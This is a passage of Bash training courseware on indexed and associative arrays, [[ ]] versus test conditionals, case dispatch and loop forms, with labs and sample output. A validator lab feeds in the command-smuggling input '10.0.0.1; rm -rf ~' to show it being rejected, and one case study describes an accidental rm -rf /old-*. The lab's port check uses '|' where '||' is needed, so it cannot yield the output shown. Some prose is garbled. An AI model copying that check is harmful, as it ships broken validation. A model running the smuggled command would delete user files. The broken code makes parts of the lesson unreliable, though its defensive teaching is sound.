Delete element / whole arrayunset 'a[3]',unset 'm[$k]' (single quotes!),unset a
Slice"${a[@]:1:2}"meaningless (unordered)
Bulk transform"${a[@]%.log}","${a[@]/#/--exclude=}","${a[@]^^}"
Inspectdeclare -p a (the most reliable way to debug); "${m[@]@K}" (5.1+) prints key/value pairs
servers=(web-01 web-02 "db 01")
echo "${#servers[@]} ${servers[0]} ${servers[-1]} ${servers[@]:1}"
servers+=(api-01); echo "${!servers[@]}"
unset 'servers[1]'; declare -p servers; echo "count=${#servers[@]}"
servers=("${servers[@]}"); declare -p servers
sparse=([3]=c [10]=x); echo "${!sparse[@]} len=${#sparse[@]}"
files=("a b.log" "c.log")
printf '<%s> ' ${files[@]}; echo
printf '<%s> ' "${files[@]}"; echo
printf '<%s> ' "${files[*]}"; echo
joined=$(IFS=,; printf '%s' "${files[*]}"); echo "$joined"
nums=(3 1 2); echo "${nums[@]/#/n}"; arr2=(x.log y.log); echo "${arr2[@]%.log}"
3 web-01 db 01 web-02 db 01
0 1 2 3
declare -a servers=([0]="web-01" [2]="db 01" [3]="api-01")
count=3
declare -a servers=([0]="web-01" [1]="db 01" [2]="api-01")
3 10 len=2
<a> <b.log> <c.log>
<a b.log> <c.log>
<a b.log c.log>
a b.log,c.log
n3 n1 n2
x y

How to verify: Whenever you suspect array contents,declare -p array_name gives the exact subscripts, values and quotes. Common mistake:echo ${files[@]} looks right, but it has already been split — use printf '<%s>\n' "${files[@]}" to check boundaries. Production use: building command arguments (rsync "${opts[@]}", batch --exclude.

Associative arrays: counting, grouping, existence checks

declare -A env_count=() env_hosts=()
while IFS=, read -r name env region ip role; do
  [[ $name == name ]] && continue                 # skip the header
  (( ++env_count[$env] ))
  env_hosts[$env]+="${env_hosts[$env]:+ }$name"   # if there is a value, add a space first
done < "$DATA/servers.csv"
for e in "${!env_count[@]}"; do printf '%-8s %d  %s\n' "$e" "${env_count[$e]}" "${env_hosts[$e]}"; done
[[ -v env_count[prod] ]] && echo "has prod"; [[ -v env_count[qa] ]] || echo "no qa"
echo "qa=${env_count[qa]:-0}"
mapfile -t keys < <(printf '%s\n' "${!env_count[@]}" | sort); echo "sorted: ${keys[*]}"
prod     6  web-01 web-02 api-01 edge-01 db-01 bastion-01
dev      3  web-01 api-01 db-01
staging  3  web-01 api-01 db-01
has prod
no qa
qa=0
sorted: dev prod staging

The key output order (prod, dev, staging) is determined by hashing and may differ with another version or data; always sort when you need stable output. Sorting uses Module 6's mapfile sort and Module 7's process substitution.

Empty arrays and set -u

( set -u; a=(); echo "len=${#a[@]}"; for x in "${a[@]}"; do :; done; echo "loop ok" )
( set -u; declare -a b; echo "${#b[@]}" )
( set -u; arr=(x); echo "${arr[5]}" )
( set -u; arr=(x); echo "${arr[5]:-none}" )
len=0
loop ok
bash: b: unbound variable
bash: arr[5]: unbound variable
none

Lab 3: analyze servers.csv with arrays and associative arrays (about 8 minutes)

Read in and group by environment: run the associative array code block on the “Commands” tab and confirm you get the host count and hostnames for each environment.
Find the CSV edge-case problem: was the line with a quoted comma split into the wrong fields?
while IFS=, read -r name env region ip role; do
  [[ $name == edge-01 ]] && declare -p role
done < "$DATA/servers.csv"
while IFS=, read -r -a f; do
  [[ ${f[0]} == edge-01 ]] && echo "field count=${#f[@]}"
done < "$DATA/servers.csv"
declare -- role="\"web,api\""
field count=6

When reading into 5 variables,the last variable receives all remaining content (including commas and quotes), so role looks roughly right; using -a an array exposes the 6 fields. IFS=, Not understanding CSV quoting rules — for real CSV, use mlr/csvkit/Python, or in Lesson 6 use jq to process the same content in inventory.json.

Build a command argument array: generate an ssh command for each prod host (print only, do not execute).
ssh_opts=(-o ConnectTimeout=5 -o BatchMode=yes)
[[ -n ${SSH_USER:-} ]] && ssh_opts+=(-l "$SSH_USER")
declare -a prod_ips=()
while IFS=, read -r name env region ip role; do
  [[ $env == prod ]] && prod_ips+=("$ip")
done < "$DATA/servers.csv"
for ip in "${prod_ips[@]}"; do printf '%q ' ssh "${ssh_opts[@]}" "$ip" uptime; echo; done
ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.1.41 uptime
ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.1.42 uptime
ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.1.43 uptime
ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.2.51 uptime
ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.1.44 uptime
ssh -o ConnectTimeout=5 -o BatchMode=yes 10.30.2.10 uptime

edge-01 (10.30.2.51): although its role field is parsed incorrectly, env and ip come before the quotes, so they are still correct here. CSV split errors often affect only some fields, which makes them harder to spot.

De-duplication and set operations: find all regions that appear (de-duplicated), and the regions that have prod hosts.
declare -A regions=() prod_regions=()
while IFS=, read -r name env region ip role; do
  [[ $name == name ]] && continue
  regions[$region]=1
  [[ $env == prod ]] && prod_regions[$region]=1
done < "$DATA/servers.csv"
echo "All regions: ${!regions[*]}"
for r in "${!regions[@]}"; do [[ -v prod_regions[$r] ]] || echo "Regions without prod: $r"; done
echo "Region count: ${#regions[@]}"
All regions: canadacentral ca-central-1
Region count: 2

Both regions have prod hosts, so the second line produces no output.

Verify set -u behavior: on your Bash version, run the last code block on the “Commands” tab and compare with this lesson's results; if you run it on macOS with /bin/bash (3.2), the first line will report a[@]: unbound variable.
Cleanup: this lab runs only in memory; no cleanup needed.

Case 1: rsync exclude list breaks when paths contain spaces

Problem: The backup script EXCLUDES="--exclude=*.tmp --exclude=Cache Data", then rsync -a $EXCLUDES src/ dst/. “Cache Data” was split into two arguments; the second became the source path to sync. Fix:excludes=(--exclude='*.tmp' --exclude='Cache Data'),rsync -a "${excludes[@]}" src/ dst/; or read from a file mapfile -t pats < excludes.txt; rsync -a "${pats[@]/#/--exclude=}" …. Limitation: arrays cannot be exported; when passing across scripts, use a file or multiple arguments instead.

Case 2: associative arrays “don't exist” on a macOS build machine

Problem: In CI, the Linux runner works fine, but the macOS runner reports declare: -A: invalid option. The cause is that the script uses #!/bin/bash, but macOS's /bin/bash is 3.2. Fix: Change the shebang to #!/usr/bin/env bash, and on the runner brew install bash; at the top of the script, check (( BASH_VERSINFO[0] >= 4 )) || { echo "Requires Bash ≥ 4"; exit 3; } (exit code 3 matches opsctl's “missing dependency” convention). Limitation: For the Bash version preinstalled on GitHub-hosted macOS runner images, check the runner-images documentation.

Case 3: an empty argument array crashes the script under strict mode

Problem: The deployment script set -u, with optional arguments stored in the array extra=() ,helm upgrade … "${extra[@]}" on CentOS 7 (Bash 4.2) it reports extra[@]: unbound variable, but it is fine on Ubuntu. Fix: upgrade to Bash ≥ 4.4; if you must support old versions, write ${extra[@]+"${extra[@]}"}. Limitation: this compatibility form is hard to read, so add a comment explaining why.

Common errors and fixes

declare: -A: invalid option / declare: usage: declare [-afFirtx] [-p] [name[=value] ...]

Cause: Bash 3.2 (macOS) does not support associative arrays. Diagnosis:echo "$BASH_VERSION". Fix: use Bash ≥ 4 and change the shebang.

associative array has only one element / all keys were written into [0]

Cause: forgot declare -A, so m[prod]=1 the array is treated as an indexed array,prod and the key is evaluated as an arithmetic expression with value 0 (variable prod is unset). Diagnosis:declare -p m shows declare -a. Fix: Before first use, declare -A m=(); inside a function, use local -A.

a[@]: unbound variable (set -u, empty array)

Cause: Bash < 4.4. Fix: upgrade, or use ${a[@]+"${a[@]}"}. In Bash ≥ 4.4, if it still reports a: unbound variable, check whether you only declare -a a but not a=().

bad array subscript

Cause: the associative array key is an empty string (m[""]=1 or m[$k] where k is empty), or an indexed array subscript is negative and out of range. Fix: check before use [[ -n $k ]]; skip blank lines when reading files.

A for loop split one element into several (filenames with spaces got split)

Cause: written as for f in ${files[@]} or "${files[*]}". Fix:for f in "${files[@]}". ShellCheck reports SC2068 (Double quote array expansions).

Iterating 0..N-1 hits empty elements / misses the last element

Cause: the array is sparse (elements were previously unset). Fix:for i in "${!a[@]}" iterate over the real subscripts, or first a=("${a[@]}") compact it.

Command-line exercise
1. Join the array hosts=(web-01 web-02 db-01) with commas into a string stored in variable csv, without changing the current shell's IFS.
csv=$(IFS=,; printf '%s' "${hosts[*]}")
# or inside a function: local IFS=,; csv="${hosts[*]}"
# or printf -v (no subshell):
printf -v csv '%s,' "${hosts[@]}"; csv=${csv%,}
2. Count the occurrences of each word in words=(a b a c b a) , and print them from most to least frequent.
declare -A cnt=()
for w in "${words[@]}"; do (( ++cnt[$w] )); done
for w in "${!cnt[@]}"; do printf '%d %s\n' "${cnt[$w]}" "$w"; done | sort -rn
Scenario analysis
A script collects the files to delete into an array, then runs rm -- ${to_delete[@]}. One day a file named * important.txt appears; what happens?

An unquoted array expansion is first split on spaces into * and important.txt, then * undergoes pathname expansion to match the current directory's all files— all get deleted. You must write rm -- "${to_delete[@]}"; and in the collection stage, quote with "$f" quotes, and use -- to stop filenames beginning with a dash from being read as options.

Verified teaching videos

▶
Arrays in Bash Explained in 7 Minutes! - Indexed, Associative, and Nested / Multi-Dimensional — You Suck at Programming
English · Indexed arrays, associative arrays, and “multi-dimensional” emulation
▶
Arrays in Pure Bash - You Suck at Programming #020 — You Suck at Programming
English · Pure Bash array basics
▶
Understanding the IFS in Bash! Stringify Arrays easily - You Suck at Programming #030 — You Suck at Programming
English · IFS and "${a[*]}" joining
▶
Associative Arrays in Bash (AKA Key-Value Dictionaries) — Nick Janetakis
English · Associative arrays in practice

Official docs

Video storyboard (about 90 seconds)

This courseware cannot directly generate video or MP3; the storyboard and narration below can be handed to a video tool.

Shot 1 · 0–20s
Visual: the string “report 2026.txt app.log” is cut into three pieces by a space “scissors”, breaking the filename.
Narration: a list joined with spaces breaks when a filename contains a space.
Shot 2 · 20–45s
Visual: a row of numbered cells is filled with elements; after unsetting cell 1 it becomes a dashed box, and the numbers do not move.
Narration: a Bash array is a mapping from subscript to value; deleting an element does not renumber the rest.
Shot 3 · 45–70s
Visual: the same array passes through three channels: "@", "*", and unquoted; the exits show 2, 1, and 3 argument boxes respectively.
Narration: the quoted at-sign gives one argument per element, which is almost always what you need.
Shot 4 · 70–90s
Visual: log lines flow in, and the counts for prod, dev, and staging in the hash table go up one by one.
Narration: associative arrays make counting and grouping a one-line job; remember to declare it first with a capital -A.
or score ≥ 70% on the quiz

Module 4 · Conditionals: [[ ]], test, and case

21:00 – 28:00 · [ is an ordinary command; it sees the arguments after expansion and word splitting; [[ is a shell keyword; it sees the raw structure you wrote — this single difference explains most “conditionals failing mysteriously”
7 minutes[[ ]] Bash · test POSIX★★★★★
Learning objectives
  • Understand that the if tests the command's exit status: if grep -q …,if (( n > 3 )),if [[ … ]] are essentially the same; understand the difference in &&/|| short-circuit if behavior.
  • Distinguish test/[ (builtin + POSIX; arguments are split and globbed, so they must be quoted) from [[ ]] (keyword; no splitting or globbing; supports && || ( ), pattern matching ==, regex =~).
  • Be proficient with string tests (-z -n == != < >), numeric tests (-eq -ne -lt -le -gt -ge or (( ))), file tests (-e -f -d -r -w -x -s -L -nt -ot) and variable tests -v.
  • Use =~ and BASH_REMATCH to extract fields (put the regex in a variable, leave it unquoted on the right); use case for multi-branch pattern matching, and understand ;;,;& (continue into the next branch),;;& (keep testing later patterns).
Prerequisites: Modules 1–3. Importance:★★★★★

What: in Bash, a “condition” is just one thing — the exit status

if LIST; then …; fi Run LIST; if the last command exits with status 0, take the then branch. So all of the following are valid conditions:

if grep -q ' 500 ' "$DATA/access.log"; then echo "found 500"; fi      # external command
if (( errors > 10 )); then echo "too many errors"; fi                      # arithmetic command
if [[ $env == prod ]]; then echo "production"; fi                     # conditional-expression keyword
if [ -f "$cfg" ]; then echo "config exists"; fi                         # test builtin
if ! mkdir -- "$lockdir" 2>/dev/null; then echo "already locked"; fi      # negation
[[ -d $out ]] || mkdir -p -- "$out"                                # short-circuit form
test expr / [ expr ][[ expr ]](( expr ))
EssenceBuiltin command (also has an external /usr/bin/[)Shell keyword (syntax construct)Arithmetic command
Argument handlingOrdinary command: variables are subject to word splitting and globbingno splitting or globbing (expansion still happens)Arithmetic evaluation
Logical combination[ a ] && [ b ] (-a/-o deprecated by POSIX)&& || ! ( )&& || !
Pattern / regex✗== glob,=~ ERE✗
< >needs escaping \<, otherwise it is a redirectionstring lexicographic comparisonnumeric comparison
PortabilityPOSIX sh, dash, BusyBoxBash, ksh, zshBash, ksh, zsh
Recommended:use #!/bin/sh in scripts✓ string and file tests in Bash scripts (Google Shell Style Guide also recommends [[ ]])✓ numeric tests

Why: why [ is error-prone

[ is a command,] but its closing ] is just the last argument it requires. Before the command runs, its arguments have already been through expansion, word splitting, and globbing. So:

  • x=""; [ $x = y ] → the actual arguments become [ = y ] → [: =: unary operator expected (tested: exit status 2).
  • x=""; [ -n $x ] → the arguments are [ -n ] → only one argument “-n”, which is a non-empty string → is true (tested). This is the sneakiest bug: when the variable is empty, the “non-empty” test still succeeds.
  • f="my file.txt"; [ -f $f ] → [ -f my file.txt ] → [: my: binary operator expected (tested).
  • [[ ]] Knowing at parse time that $x is an operand, the three cases above all work as expected; but on the right side of == and =~ operands, the unquoted parts are still treated as patterns.

How: [[ ]] patterns and regex

SyntaxMeaningTested
[[ $name == *.log ]]unquoted on the right → glob patternapp.log matches
[[ $name == "$pat" ]]quoted on the right → literal comparisonpat='*.log' when app.log not equal
[[ $s =~ $re ]]POSIX extended regex (ERE), matches a substring (add ^ and $ for whole-string matching ^…$)On success, BASH_REMATCH[0] is the whole match,[1]… is the capture group
[[ $s =~ "a.c" ]]Parts inside quotes match literally (the . is not any character)abc does not match,a.c matches
shopt -s nocasematch==,=~,case case-insensitiveAfter use, remember to shopt -u

Recommended: store the regex in a variable: re='^([0-9]+)\.([0-9]+)$'; [[ $v =~ $re ]]— avoids spaces, parentheses,\ and conflicts with shell syntax, and also avoids differences between Bash versions in how quotes are handled (since Bash 3.2, quoted content is literal). From Bash 5.3, regex compile failures print an error message (NEWS 5.3 g).

How: case

case $word in
  pattern1|pattern2) commands ;;    # ;; ends the case after matching
  pattern3)          commands ;&    # ;& runs the next branch's commands without testing its pattern (4.0+)
  pattern4)          commands ;;&   # ;;& keeps testing later patterns (4.0+)
  *)                 default ;;
esac

case patterns, like [[ == ]] are globs (including extglob), tested in order; the first matching branch runs. It is a POSIX standard construct (;&,;;& except for ;& and ;;&), works in sh as well, and is the clearest way to “match several string patterns”.

When: selection guide

  • Numeric comparison → (( a < b )) (most readable); [[ $a -lt $b ]] also works (both evaluate their operands arithmetically; watch for the octal and injection issues from Module 2: [[ 08 -eq 8 ]] (tested: it errors).
  • String, file, and variable-is-set checks → [[ ]].
  • Dispatch one value to multiple patterns (subcommands, environment names, file types) → case.
  • Need POSIX sh compatibility → [ "$x" = y ], quote all variables, and use = rather than ==.
Common misconceptions① “[ and [[ are just different styles”—one is a command, the other is syntax, and their argument handling is completely different. ② “[[ $a > $b ]] compare numbers”—it is a string comparison. ③ “=~ right side needs quotes”—adding quotes makes it a literal match. ④ “[ -n $x ] can test for non-empty”—when x is empty, it is always true. ⑤ “if [ $? -eq 0 ] is a good way to check that a command succeeded”—directly check if cmd; then, and inserting any command in between will change $?. ⑥ “cmd && a || b is equivalent to if/else”—when a fails, b also runs.

The same condition, two parse paths

x="" f="my file.txt" [ $x = y ] —— command 1. Expansion: $x → ""2. Word splitting: empty unquoted words are removed 3. argv = [ "[", "=", "y", "]" ]4. Run builtin [: 3 arguments; the first should be a unary operator [: =: unary operator expected (rc=2) [ -f $f ] → argv: [ -f my file.txt ][: my: binary operator expected [[ $x = y ]] —— keyword 1. The parser first recognizes the structure: operand $x, operator =, pattern y2. Operand is expanded but not split or globbed → "" 3. Right side unquoted → matched as a pattern4. "" does not match pattern y rc=1 (normal “false”) [[ -f $f ]] → operand "my file.txt"tests the file as expected
Figure 4-1 [ sees the arguments only in the “execution phase”; [[ the structure is fixed in the “parsing phase”

The three case terminators

case 404 in 2??) … 4??) echo 4xx 5??) echo … no match → test the next pattern match → run commands, then check the terminator: ;; end case ;& run the next branch's commands directly (without testing 5??) ;;& continue testing the next branch's pattern (404 does not match 5??) Tested: after 4??) …;& the echo in the 5??) branch also runs
Figure 4-2 ;& similar to the fall-through in C's switch; ;;& lets one value hit multiple branches (for example, applying several labels at once)

[ and [[ parse comparator

Pick a condition and variable value, then step through it: [ How argv is built when used as a command,[[ and how operands stay intact when used as a keyword. Results match the measured Bash 5.2.37 output.

[ … ] (test command)
[[ … ]] (keyword)
Click “Next” to start.

Test operator quick reference

CategoryOperatorMeaning
String-z s / -n sLength 0 / non-zero ([[ $s ]] equivalent to -n)
s1 == s2,s1 != s2[[ ]] in [[ ]], the right side is a pattern; [ ] use =
s1 < s2,s1 > s2lexicographic order ([[ ]] uses the current locale's collation rules)
s =~ reERE regex (only [[ ]]), result in BASH_REMATCH
Numeric-eq -ne -lt -le -gt -geoperands are evaluated as arithmetic expressions
File-e -f -d -L/-hexists / regular file / directory / symbolic link (-f and -d follow links)
-r -w -xreadable / writable / executable by current user
-sexists and size > 0
f1 -nt f2,-ot,-efmodified more recently / older / same file (same inode)
-p -S -t fdnamed pipe / socket / fd is a terminal ([[ -t 1 ]] checks whether output goes to a terminal)
Variable-v name,-v 'a[k]'is set (even if empty) (4.2+; array elements 4.3+)
Option-o optnameShell option is enabled, e.g. [[ -o nounset ]]
x=""
[ -n $x ] && echo "1: [ -n \$x ] is true (bug)"
[ -n "$x" ] || echo "1b: [ -n \"\$x\" ] is false (correct)"
[[ -n $x ]] || echo "1c: [[ -n \$x ]] is false (correct)"
f="my file.txt"; touch "$f"; [ -f $f ]; echo "2: rc=$?"; [[ -f $f ]] && echo "2b: ok"; rm -f -- "$f"
pat="*.log"; name="app.log"
[[ $name == $pat ]] && echo "3: pattern match"; [[ $name == "$pat" ]] || echo "3b: literal comparison not equal"
ip=10.10.1.11
re='^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$'
[[ $ip =~ $re ]] && echo "4: ${BASH_REMATCH[0]} -> ${BASH_REMATCH[1]} ${BASH_REMATCH[4]} (n=${#BASH_REMATCH[@]})"
[[ abc =~ "a.c" ]] || echo "6: quoted text is the literal a.c"
env=PROD; shopt -s nocasematch
case $env in prod|production) echo "8: nocasematch prod";; esac; shopt -u nocasematch
case 404 in 2??) echo 2xx;; 4??) echo "9: 4xx";&  5??) echo "9: fallthrough(;&)";; esac
case abc in a*) echo "10: one";;& *c) echo "10: two";; *) echo "10: three";; esac
unset u; [[ -v u ]] || echo "15: u unset"; u=; [[ -v u ]] && echo "15b: u set (empty)"
[[ 08 -eq 8 ]]; echo "22: rc=$?"
1: [ -n $x ] is true (bug)
1b: [ -n "$x" ] is false (correct)
1c: [[ -n $x ]] is false (correct)
bash: [: my: binary operator expected
2: rc=2
2b: ok
3: pattern match
3b: literal comparison not equal
4: 10.10.1.11 -> 10 11 (n=5)
6: quoted text is the literal a.c
8: nocasematch prod
9: 4xx
9: fallthrough(;&)
10: one
10: two
15: u unset
15b: u set (empty)
bash: [[: 08: value too great for base (error token is "08")
22: rc=1

How to verify: For [ issues,set -x you can see the actual arguments passed to [ . Common mistakes: Regex ^[0-9]{1,3}…$ only validates format, not the 0–255 range; the lab below adds that step. Production use: argument validation, dispatching roles by hostname, parsing version numbers.

Lab 4: write a snippet of an argument-validation function library (about 7 minutes)

Setup:
cd ~/bashlab/part2 && mkdir -p m4 && cd m4
Write the validation script (Lesson 3 turns them into opsctl lib/util.sh functions; here we write a script first and dispatch with case):
cat > validate.sh <<'EOF'
#!/usr/bin/env bash
# Usage: validate.sh <type> <value>   type: env | ip | host | port
kind=${1:?Usage: validate.sh <env|ip|host|port> <value>}
val=${2-}
case $kind in
  env)
    case $val in
      dev|staging|prod) echo "OK env=$val" ;;
      *) echo "Invalid environment: ${val@Q} (must be dev|staging|prod)" >&2; exit 2 ;;
    esac ;;
  ip)
    re='^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$'
    [[ $val =~ $re ]] || { echo "Invalid IP format: ${val@Q}" >&2; exit 2; }
    for octet in "${BASH_REMATCH[@]:1}"; do
      (( 10#$octet <= 255 )) || { echo "IP octet out of range: $octet" >&2; exit 2; }
    done
    echo "OK ip=$val" ;;
  host)
    [[ $val =~ ^[a-z][a-z0-9-]{0,61}[a-z0-9]$ ]] || { echo "Invalid hostname: ${val@Q}" >&2; exit 2; }
    echo "OK host=$val" ;;
  port)
    [[ $val =~ ^[0-9]{1,5}$ ]] && (( 10#$val >= 1 && 10#$val <= 65535 )) \
      | { echo "Invalid port: ${val@Q}" >&2; exit 2; }
    echo "OK port=$((10#$val))" ;;
  *) echo "Unknown type: ${kind@Q}" >&2; exit 2 ;;
esac
EOF
chmod +x validate.sh

Note: the here-doc uses <<'EOF' (quoted), so the $val are written to the file as-is, not expanded when the file is generated (Module 7 explains why). Exit code 2 means a usage or argument error, matching opsctl's convention. The regex can also go directly in [[ … =~ ^…$ ]] is also fine, as long as it has no spaces or shell special characters.

Test various inputs:
./validate.sh env prod
./validate.sh env PROD;            echo "rc=$?"
./validate.sh ip 10.10.1.11
./validate.sh ip 10.10.1.256;      echo "rc=$?"
./validate.sh ip '10.0.0.1; rm -rf ~'; echo "rc=$?"
./validate.sh host web-01
./validate.sh host 'Web_01';       echo "rc=$?"
./validate.sh port 08080
./validate.sh port 70000;          echo "rc=$?"
./validate.sh;                     echo "rc=$?"
OK env=prod
Invalid environment: 'PROD' (must be dev|staging|prod)
rc=2
OK ip=10.10.1.11
IP octet out of range: 256
rc=2
Invalid IP format: '10.0.0.1; rm -rf ~'
rc=2
OK host=web-01
Invalid hostname: 'Web_01'
rc=2
OK port=8080
Invalid port: '70000'
rc=2
./validate.sh: line 3: 1: Usage: validate.sh <env|ip|host|port> <value>
rc=1

The port 08080 is 10# correctly treated as decimal. The last one: ${1:?…} On failure the exit code is 1 (not the 2 we agreed on); Lesson 3 uses an explicit usage-check function to unify exit codes.

Batch-validate with servers.csv:
while IFS=, read -r name env region ip role; do
  [[ $name == name ]] && continue
  ./validate.sh host "$name" >/dev/null && ./validate.sh env "$env" >/dev/null && ./validate.sh ip "$ip" >/dev/null \
    && echo "✓ $name" || echo "✗ $name"
done < "$DATA/servers.csv"
✓ web-01
✓ api-01
✓ db-01
✓ web-01
✓ api-01
✓ db-01
✓ web-01
✓ web-02
✓ api-01
✓ edge-01
✓ db-01
✓ bastion-01

Hostnames repeat across dev / staging / prod, so web-01 appears 3 times; use a composite key when keying by hostname (e.g. "$env/$name"). edge-01 also “passed”: it only validated host, env and ip, while the problem with quoted commas is in the role field (the capstone lab checks field count).

Here we used a && b || c: since b is echo (which almost never fails), it is equivalent to if/else. If b can fail, you must use if instead.

Cleanup: keep validate.sh for reference in Module 8 and the capstone lab; or rm -rf -- ~/bashlab/part2/m4.

Case 1: an empty variable tests as non-empty, causing accidental deletion

Problem: The cleanup script if [ -n $BACKUP_DIR ]; then rm -rf "$BACKUP_DIR"/old-*; fi. When BACKUP_DIR is unset, [ -n ] the test is true and the command becomes rm -rf /old-*. Fix:[[ -n ${BACKUP_DIR:-} ]], and in deletion paths use "${BACKUP_DIR:?}"; run ShellCheck in CI (SC2070: -n doesn't work with unquoted arguments). Limitation: If the script must run under dash, you can only use [ -n "$BACKUP_DIR" ].

Case 2: dispatching subcommands with case

Problem: In ops scripts the if/elif chain keeps growing, and the matching logic for deploy,Deploy,deploy-all interferes with each other. Fix:case ${1:-help} in deploy) …;; status|st) …;; help|-h|--help) usage;; *) usage >&2; exit 2;; esac— exactly the approach used by Lesson 3's opsctl entry point. Limitation: case only does string matching; for complex parsing before dispatch, use getopts (Lesson 3).

Case 3: a regex version check misjudges 1.10 < 1.9

Problem: The pre-deployment check [[ $ver > 1.9 ]], the Kubernetes client 1.10 is judged “too old” (lexicographic "1.10" < "1.9"). Fix: Use a regex to split out the major and minor version numbers and compare each part numerically: [[ $ver =~ ^([0-9]+)\.([0-9]+) ]] && (( BASH_REMATCH[1] > 1 || (BASH_REMATCH[1] == 1 && BASH_REMATCH[2] >= 9) )). Limitation: Pre-release versions (-rc1) need extra rules; for complex cases use sort -V.

Common errors and fixes

[: =: unary operator expected

Cause:[ $x = y ] with x empty, one argument is missing. Fix:[ "$x" = y ] or [[ $x == y ]].

[: my: binary operator expected / [: too many arguments

Cause: the variable contains spaces or wildcards and gets split into multiple arguments. Diagnosis:set -x to see the actual arguments. Fix: Add quotes or switch to [[ ]].

syntax error in conditional expression / unexpected token `('

Cause: the regex contains spaces, parentheses,| etc., written directly inside [[ … =~ … ]] . Fix: first put the regex in a variable: re='^(GET|POST) /', then [[ $line =~ $re ]].

=~ always fails to match (the regex looks correct)

Cause:① a quoted right side gives a literal match; ② Perl/PCRE syntax \d,\s non-greedy *?, not supported in ERE (use [0-9],[[:space:]]); ③ a trailing \r. Diagnosis:printf '%q\n' "$line".

[: 1: unexpected operator (only appears under sh)

Cause: Running sh script.sh , on Ubuntu sh is dash, which does not support == and [[. Fix: Run with bash, or rewrite in POSIX form.

The *) branch in case always runs / the pattern has no effect

Cause: the pattern was written as a quoted "*.log") (literal match), or regex syntax was treated as a glob ([0-9]+ in a glob means “one digit followed by a plus sign”). Fix: Leave the wildcard parts of the pattern unquoted; for “one or more digits” use extglob +([0-9]) (requires shopt -s extglob).

Command-line exercises
1. Check whether the script's stdout is a terminal; if it is, use coloured output, otherwise plain text.
if [[ -t 1 ]]; then red=$'\e[31m' reset=$'\e[0m'; else red= reset=; fi
echo "${red}ERROR${reset} something failed"
2. From line='192.0.2.44 - - [17/Nov/2026:10:00:06 +0000] "GET /api/orders HTTP/1.1" 500 87' , use a regex to extract the method, path and status code.
re='"([A-Z]+) ([^ ]+) [^"]*" ([0-9]{3})'
[[ $line =~ $re ]] && echo "${BASH_REMATCH[1]} ${BASH_REMATCH[2]} ${BASH_REMATCH[3]}"
# GET /api/orders 500
Scenario analysis
The team requires that “all scripts must run in the /bin/sh of an Alpine container.” How would you adjust the techniques from this module? What is the cost?

Alpine's /bin/sh is BusyBox ash: use only [ ] (quote all variables, use = rather than ==), use case instead of [[ == pattern ]], use grep -E or expr instead of =~ (one extra process fork), with no arrays and no BASH_REMATCH. The trade-offs are lower readability, slower performance and more quoting bugs. Alternatives: in the image, apk add bash and use #!/usr/bin/env bash, or use the official bash:5.3 image.

Verified teaching videos

▶
test vs [ vs [[: Bash Conditionals Explained! You Suck at Programming #066 — You Suck at Programming
English · core topic of this module
▶
How To Write Bash Scripts In Linux - Complete Guide (Part 5 - If Statements) — Learn Linux TV
English · introduction to if statements
▶
How To Write Bash Scripts In Linux - Complete Guide (Part 6 - Exit Codes) — Learn Linux TV
English · exit status and conditions
▶
How To Write Bash Scripts In Linux - Complete Guide (Part 13 - Case Statements) — Learn Linux TV
English · case statement

Official docs

Video storyboard script (about 80 seconds)

This courseware cannot generate video/MP3 directly; the storyboard and narration below can be handed to a video tool.

Shot 1 · 0–20s
Visual: [ is zoomed in, revealing the file /usr/bin/[ next to the built-in version.
Narration: the square bracket is a command, and the closing bracket is just its last argument.
Shot 2 · 20–45s
Visual: an empty variable vanishes from argv,[ = y ] causing an error; switch to [[, and an empty string stays in the operand position.
Narration: double brackets are syntax; the parser knows where the variables are.
Shot 3 · 45–65s
Visual: the IP string goes through the regex, and the four groups fill BASH_REMATCH slots 1 to 4 in turn.
Narration: put the regex in a variable, leave the right side unquoted, and the group results are in BASH_REMATCH.
Shot 4 · 65–80s
Visual: case branch flowchart; ;; ends a branch, ;& falls through to the next branch, ;;& keeps testing.
Narration: use case for dispatching multiple patterns; it is clear and POSIX standard.
or score ≥ 70% on the quiz

Module 5 · Loops: for, while, until and loop control

28:00 – 35:00 · Loops themselves are simple; the hard part is “where does the list being looped over come from”: looping over globs and arrays is safe, looping over $(ls) and $(cat file) is not.
7 minPOSIX for/while/until + Bash for (( ))★★★★☆
Learning objectives
  • Write the four loop forms: for x in list, C-style for (( i=0; i<n; i++ )),while condition,until condition; know that lists can come from brace expansion ({1..10}, not variables), globs, arrays and positional parameters "$@".
  • Iterate over files safely: use a glob for f in dir/* instead of $(ls); handle “no match, pattern returned as-is” (nullglob or [[ -e $f ]] || continue); for filenames beginning with - , use -- or ./ prefix.
  • Use break,continue and their level argument break 2; understand the exit status of a loop (the status of the last command it ran; 0 if it iterates zero times).
  • Attach redirections after done (the whole loop opens the file only once); write a retry or polling loop with a timeout (Lesson 4 adds backoff and trap).
Prerequisites: Modules 3 and 4. Priority:★★★★☆

What: the four loop forms

FormSemanticsTypical use
for name in words; do …; donewords go through all expansions (including word splitting and globbing) and are assigned to name one at a time; omitting in words loops over "$@"iterate over globs, arrays, parameters
for (( init; cond; step )); do …; donearithmetic for; all three expressions are arithmetic expressionscounting loops, ranges with a variable upper bound
while list; do …; donecontinue while list exit status is 0reading files (Module 6), polling, conditional loops
until list; do …; donelist exit status non-zero keeps the loop goingretry until success
select name in words; do …; doneprint a numbered menu and read the choice from stdininteractive tools (rarely used in automation)

A loop is a compound command: you can redirect the whole loop (done < in > out), pipe it, put it in the background, or add 2>&1. break [n] exits n loop levels,continue [n] starts the next iteration of the n-th outer loop (n defaults to 1).

Why: where the list comes from determines safety

FormProblemMeasured (4 oddly named files in files/)
for f in $(ls files)split on whitespace, then globbed again; filenames with newlines are split in twoYields 6 “words”
for f in files/*✓ one element per file, names kept as-isYields 4 files
for f in files/*.csv (no match)the pattern itself as the only elementthe loop body receives the literal files/*.csv
shopt -s nullglob — same as above✓ expands to nothing when there is no match, the loop body does not run0 iterations
for i in {1..$n}brace expansion happens before parameter expansionyields the literal {1..3}
for (( i=1; i<=n; i++ ))✓1 2 3
for line in $(cat file)it iterates over “words”, not “lines”Use while IFS= read -r (Module 6)

How: the loop execution model

